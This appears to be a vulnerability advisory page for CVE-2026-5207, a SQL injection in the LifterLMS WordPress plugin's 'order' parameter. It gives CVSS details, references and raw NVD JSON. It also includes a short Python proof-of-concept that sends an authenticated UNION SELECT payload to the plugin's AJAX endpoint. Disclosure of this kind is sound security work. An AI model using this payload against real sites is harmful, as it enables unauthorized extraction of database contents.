Security Vulnerability Report
中文
CVE-2026-5207 CVSS 6.5 MEDIUM

CVE-2026-5207

Published: 2026-04-11 02:16:03
Last Modified: 2026-04-24 18:00:32

Description

The LifterLMS plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 9.2.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Instructor-level access and above who have the edit_post capability on the quiz, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

LifterLMS <= 9.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-5207 (SQL Injection in LifterLMS) # Requires authentication with Instructor-level access import requests target_url = "https://example.com/wp-admin/admin-ajax.php" # Replace with a valid cookie from an instructor account cookie = { "wordpress_logged_in_xxx": "..." } # Malicious payload for the 'order' parameter # Exploiting the SQL injection to extract database version payload = "1 UNION SELECT 1,2,3,version(),5,6,7,8,9-- -" data = { "action": "llms-table-non-attempts", "quiz_id": "1", "order": payload } response = requests.post(target_url, data=data, cookies=cookie) if response.status_code == 200: print("[+] SQL Injection successful!") print("Response:", response.text) else: print("[-] Failed to exploit")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5207", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:02.800", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LifterLMS plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 9.2.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Instructor-level access and above who have the edit_post capability on the quiz, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php#L240", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/includes/class.llms.ajax.handler.php#L243", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3495818/lifterlms/trunk/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43d31d1e-0f4f-4f51-8274-650151642d03?source=cve", "source": "[email protected]"}]}}